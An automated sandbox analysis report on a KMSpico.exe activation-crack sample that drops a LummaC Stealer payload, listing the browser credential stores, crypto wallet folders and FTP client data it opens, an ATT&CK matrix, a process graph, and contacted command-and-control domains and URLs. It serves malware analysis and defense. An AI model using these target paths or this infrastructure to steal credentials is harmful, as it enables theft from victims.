              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifdJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnmJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemgJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneecJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.jsonJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknnJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdnoJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgnJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbchJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimnJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbgJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjkJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahdJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhkJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofecJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeapJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfeJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbaiJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbmJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaocJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoaJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqliteJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgkJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkdJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.dbJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfjJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolafJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohaoJump to behavior
              Tries to harvest and steal ftp login credentials
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\FTPboxJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\FavoritesJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\FTPGetterJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Conceptworld\NotezillaJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\FTPInfoJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\ProgramData\SiteDesigner\3D-FTPJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\FTPRushJump to behavior
              Tries to steal Crypto Currency Wallets
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.walletJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.walletJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Ledger LiveJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldbJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\walletsJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\walletsJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Bitcoin\walletsJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\BinanceJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDBJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Electrum\walletsJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Electrum-LTC\walletsJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDBJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
              Source: Yara matchFile source: Process Memory Space: core.exe PID: 6112, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Yara detected LummaC Stealer
              Source: Yara matchFile source: Process Memory Space: core.exe PID: 6112, type: MEMORYSTR
              Source: Yara matchFile source: 00000004.00000002.4008673426.0000000002630000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: sslproxydump.pcap, type: PCAP

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity InformationAcquire InfrastructureValid Accounts12
              Windows Management Instrumentation              		1
              DLL Side-Loading              		1
              Exploitation for Privilege Escalation              		11
              Disable or Modify Tools              		2
              OS Credential Dumping              		1
              System Time Discovery              		Remote Services1
              Archive Collected Data              		1
              Web Service              		Exfiltration Over Other Network Medium1
              System Shutdown/Reboot
              CredentialsDomainsDefault Accounts21
              Native API              		2
              Windows Service              		1
              DLL Side-Loading              		1
              Deobfuscate/Decode Files or Information              		LSASS Memory1
              Account Discovery              		Remote Desktop Protocol1
              Browser Session Hijacking              		3
              Ingress Tool Transfer              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain Accounts13
              Command and Scripting Interpreter              		1
              Scheduled Task/Job              		1
              Access Token Manipulation              		3
              Obfuscated Files or Information              		Security Account Manager12
              File and Directory Discovery              		SMB/Windows Admin Shares41
              Data from Local System              		21
              Encrypted Channel              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal Accounts1
              Scheduled Task/Job              		1
              Registry Run Keys / Startup Folder              		2
              Windows Service              		1
              DLL Side-Loading              		NTDS46
              System Information Discovery              		Distributed Component Object Model3
              Clipboard Data              		4
              Non-Application Layer Protocol              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud Accounts1
              Service Execution              		Network Logon Script12
              Process Injection              		1
              File Deletion              		LSA Secrets341
              Security Software Discovery              		SSHKeylogging115
              Application Layer Protocol              		Scheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable Media1
              PowerShell              		RC Scripts1
              Scheduled Task/Job              		23
              Masquerading              		Cached Domain Credentials251
              Virtualization/Sandbox Evasion              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items1
              Registry Run Keys / Startup Folder              		251
              Virtualization/Sandbox Evasion              		DCSync2
              Process Discovery              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
              Access Token Manipulation              		Proc Filesystem11
              Application Window Discovery              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt12
              Process Injection              		/etc/passwd and /etc/shadow3
              System Owner/User Discovery              		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1626785 Sample: KMSpico.exe Startdate: 28/02/2025 Architecture: WINDOWS Score: 88 81 pastebin.com 2->81 83 tewchjourney.icu 2->83 85 3 other IPs or domains 2->85 107 Suricata IDS alerts for network traffic 2->107 109 Found malware configuration 2->109 111 Malicious sample detected (through community Yara rule) 2->111 115 8 other signatures 2->115 11 KMSpico.exe 2 2->11         started        14 AutoPico.exe 2->14         started        17 svchost.exe 2->17         started        19 2 other processes 2->19 signatures3 113 Connects to a pastebin service (likely for C&C) 81->113 process4 dnsIp5 77 C:\Users\user\AppData\Local\...\KMSpico.tmp, PE32 11->77 dropped 21 KMSpico.tmp 24 10 11->21         started        89 8.8.8.8 GOOGLEUS United States 14->89 24 WerFault.exe 14->24         started        91 127.0.0.1 unknown unknown 17->91 26 WerFault.exe 19->26         started        file6 process7 file8 69 C:\Users\user\AppData\...\unins000.exe (copy), PE32 21->69 dropped 71 C:\Users\user\AppData\...\is-R1684.tmp, PE32 21->71 dropped 73 C:\Users\user\AppData\...\is-19K1L.tmp, PE32 21->73 dropped 75 4 other malicious files 21->75 dropped 28 KMSpico.exe 2 21->28         started        31 core.exe 21->31         started        process9 dnsIp10 79 C:\Users\user\AppData\Local\...\KMSpico.tmp, PE32 28->79 dropped 35 KMSpico.tmp 22 487 28->35         started        93 tewchjourney.icu 104.21.112.1, 443, 49976, 49977 CLOUDFLARENETUS United States 31->93 95 t.me 149.154.167.99, 443, 49973 TELEGRAMRU United Kingdom 31->95 97 pastebin.com 104.20.4.235, 443, 49994 CLOUDFLARENETUS United States 31->97 99 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 31->99 101 Suspicious powershell command line found 31->101 103 Query firmware table information (likely to detect VMs) 31->103 105 4 other signatures 31->105 39 powershell.exe 31->39         started        file11 signatures12 process13 dnsIp14 61 C:\Windows\...\Vestris.ResourceLib.dll (copy), PE32 35->61 dropped 63 C:\Windows\System32\is-5P7A8.tmp, PE32 35->63 dropped 65 C:\Windows\System32\is-0JVNC.tmp, PE32 35->65 dropped 67 18 other malicious files 35->67 dropped 117 Disables the Smart Screen filter 35->117 42 cmd.exe 1 35->42         started        45 cmd.exe 1 35->45         started        47 UninsHs.exe 35->47         started        49 KMSELDI.exe 35->49         started        87 myspecialdot.com 172.67.136.89, 443, 49996 CLOUDFLARENETUS United States 39->87 51 conhost.exe 39->51         started        file15 signatures16 process17 signatures18 119 Uses schtasks.exe or at.exe to add and modify task schedules 42->119 53 conhost.exe 42->53         started        55 sc.exe 42->55         started        57 conhost.exe 45->57         started        59 schtasks.exe 45->59         started        process19

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              KMSpico.exe16%ReversingLabs

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Program Files\KMSpico\AutoPico.exe (copy)75%ReversingLabsByteCode-MSIL.Hacktool.KMSActivator
              C:\Program Files\KMSpico\DevComponents.DotNetBar2.dll (copy)0%ReversingLabs
              C:\Program Files\KMSpico\KMSELDI.exe (copy)71%ReversingLabsWin32.Hacktool.KMSActivator
              C:\Program Files\KMSpico\Service_KMS.exe (copy)76%ReversingLabsWin32.Hacktool.KMSActivator
              C:\Program Files\KMSpico\UninsHs.exe (copy)0%ReversingLabs
              C:\Program Files\KMSpico\Vestris.ResourceLib.dll (copy)0%ReversingLabs
              C:\Program Files\KMSpico\driver\is-EH2SR.tmp0%ReversingLabs
              C:\Program Files\KMSpico\driver\tap-windows-9.21.0.exe (copy)0%ReversingLabs
              C:\Program Files\KMSpico\is-1E470.tmp71%ReversingLabsWin32.Hacktool.KMSActivator
              C:\Program Files\KMSpico\is-5SAV1.tmp0%ReversingLabs
              C:\Program Files\KMSpico\is-7EQV1.tmp0%ReversingLabs
              C:\Program Files\KMSpico\is-8DDLC.tmp2%ReversingLabs
              C:\Program Files\KMSpico\is-E2FDT.tmp76%ReversingLabsWin32.Hacktool.KMSActivator
              C:\Program Files\KMSpico\is-SMU19.tmp75%ReversingLabsByteCode-MSIL.Hacktool.KMSActivator
              C:\Program Files\KMSpico\is-V2L4O.tmp0%ReversingLabs
              C:\Program Files\KMSpico\unins000.exe (copy)2%ReversingLabs
              C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmp0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmp2%ReversingLabs
              C:\Users\user\AppData\Local\Temp\is-IGGRK.tmp\_isetup\_setup64.tmp0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\is-VE3F8.tmp\_isetup\_setup64.tmp0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\is-VE3F8.tmp\_isetup\_shfoldr.dll0%ReversingLabs
              C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe (copy)74%ReversingLabsWin32.Hacktool.KMSActivator
              C:\Users\user\AppData\Roaming\MyApp\data\is-GCT6R.tmp74%ReversingLabsWin32.Hacktool.KMSActivator

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              https://tewchjourney.icu/h0%Avira URL Cloudsafe
              http://www.devcomponents.com0%Avira URL Cloudsafe
              https://tewchjourney.icu/Y0%Avira URL Cloudsafe
              tewchjourney.icu0%Avira URL Cloudsafe
              https://tewchjourney.icu/0%Avira URL Cloudsafe
              https://login.icrosoftonl0%Avira URL Cloudsafe
              https://tewchjourney.icu/%T0%Avira URL Cloudsafe
              https://tewchjourney.icu/a0%Avira URL Cloudsafe
              https://tewchjourney.icu/s0%Avira URL Cloudsafe
              https://tewchjourney.icu/api50%Avira URL Cloudsafe
              https://tewchjourney.icu/api/0%Avira URL Cloudsafe
              hardswarehub.today100%Avira URL Cloudmalware
              http://www.devcomponents.comAmailto:support0%Avira URL Cloudsafe
              https://tewchjourney.icu/apiA0%Avira URL Cloudsafe
              https://tewchjourney.icu/api0%Avira URL Cloudsafe
              https://tewchjourney.icu/apih0%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              tewchjourney.icu
              		104.21.112.1
              		truetrue
                		unknown
                myspecialdot.com
                		172.67.136.89
                		truefalse
                  		high
                  t.me
                  		149.154.167.99
                  		truefalse
                    		high
                    pastebin.com
                    		104.20.4.235
                    		truefalse
                      		high
                      81.111.9.0.in-addr.arpa
                      		unknown
                      		unknowntrue
                        		unknown

                        Contacted URLs

                        NameMaliciousAntivirus DetectionReputation
                        tewchjourney.icutrue
                        • Avira URL Cloud: safe
                        		unknown
                        https://tewchjourney.icu/apitrue
                        • Avira URL Cloud: safe
                        		unknown
                        tracnquilforest.lifefalse
                          		high
                          seizedsentec.onlinefalse
                            		high
                            https://t.me/unbroskifalse
                              		high
                              starrynsightsky.icufalse
                                		high
                                https://pastebin.com/raw/yKBaQkD9false
                                  		high
                                  hardswarehub.todaytrue
                                  • Avira URL Cloud: malware
                                  		unknown

                                  URLs from Memory and Binaries

                                  NameSourceMaliciousAntivirus DetectionReputation
                                  https://tewchjourney.icu/score.exe, 00000004.00000003.3433423675.0000000000936000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2783641679.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2811601375.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2821591602.0000000000936000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://www.cloudflare.com/learning/access-management/phishing-attack/powershell.exe, 00000017.00000002.2942057979.000000000515E000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://duckduckgo.com/chrome_newtabcore.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupUKMSpico.exefalse
                                        		high
                                        https://duckduckgo.com/ac/?q=core.exe, 00000004.00000003.2722367278.0000000003317000.00000004.00000800.00020000.00000000.sdmp, core.exe, 00000004.00000003.2722121056.000000000331A000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.core.exe, 00000004.00000003.2752488521.0000000000947000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://g.live.com/odclientsettings/ProdV2.C:svchost.exe, 00000011.00000003.2705310062.0000023AE24C0000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              https://tewchjourney.icu/acore.exe, 00000004.00000003.2783641679.000000000092B000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2785190359.000000000092D000.00000004.00000020.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://login.microsoftonline.com/ppsecure/ResolveUser.srfsvchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAsvchost.exe, 00000016.00000003.2827187173.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2886209173.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2829244555.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2886444830.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2828328663.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2859028121.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898286327.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2827963544.0000026DE9B0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2858596348.0000026DE9B0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2858327754.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2827089561.0000026DE9B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2827527626.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4002536702.0000026DE9B10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2828160328.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2858678261.0000026DE9B0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2828795237.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2886021783.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2858568389.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2829015411.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898085882.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2827275933.0000026DE9B0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://tewchjourney.icu/hcore.exe, 00000004.00000003.2783641679.0000000000937000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://www.devcomponents.comKMSpico.tmp, 00000006.00000002.4002454048.0000000006200000.00000004.00001000.00020000.00000000.sdmp, KMSELDI.exe, 0000000F.00000002.4018973559.000000001BFE2000.00000002.00000001.01000000.00000016.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issuesvchost.exe, 00000016.00000003.2858843439.0000026DE9B6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898314215.0000026DE9B6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2898254945.0000026DE9B6D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4003163140.0000026DE9B6F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2848257816.0000026DE9B66000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://www.remobjects.com/psKMSpico.exe, 00000000.00000003.2144791129.000000007FA6B000.00000004.00001000.00020000.00000000.sdmp, KMSpico.exe, 00000000.00000003.2141159385.0000000003050000.00000004.00001000.00020000.00000000.sdmp, KMSpico.tmp, 00000001.00000000.2146680551.00000000000B1000.00000020.00000001.01000000.00000004.sdmpfalse
                                                      		high
                                                      https://account.live.com/inlinesignup.aspx?iww=1&id=80600oveSessionsvchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://nuget.org/nuget.exepowershell.exe, 00000017.00000002.2954902308.0000000005F77000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://www.innosetup.com/KMSpico.exe, 00000000.00000003.2144791129.000000007FA6B000.00000004.00001000.00020000.00000000.sdmp, KMSpico.exe, 00000000.00000003.2141159385.0000000003050000.00000004.00001000.00020000.00000000.sdmp, KMSpico.tmp, 00000001.00000000.2146680551.00000000000B1000.00000020.00000001.01000000.00000004.sdmpfalse
                                                            		high
                                                            https://tewchjourney.icu/core.exe, 00000004.00000003.2771114165.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2772484959.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2783641679.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2811601375.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2821591602.0000000000936000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2687853972.00000000008C3000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://tewchjourney.icu/Ycore.exe, 00000004.00000003.2749513870.0000000000935000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2750437515.0000000000937000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAAsvchost.exe, 00000016.00000003.2845695408.0000026DE9B29000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdssvchost.exe, 00000016.00000003.2886045830.0000026DE9B76000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://login.microsoftonline.com/ppsecure/devicechangecredential.srfsvchost.exe, 00000016.00000002.4001043513.0000026DE9240000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://account.live.com/inlinesignup.aspx?iww=1&id=80601uthsvchost.exe, 00000016.00000002.4001164025.0000026DE925E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://tewchjourney.icu/%Tcore.exe, 00000004.00000003.3433423675.0000000000936000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2811601375.0000000000937000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2821591602.0000000000936000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    https://login.microsoftonline.com/ppsecure/EnumerateDevices.srfsvchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://account.live.com/InlineSignup.aspx?iww=1&id=80502svchost.exe, 00000016.00000003.2740013918.0000026DE9B63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738514671.0000026DE9B40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.2738436215.0000026DE9B3B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameKMSELDI.exe, 0000000F.00000002.4005329738.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2942057979.0000000004F11000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
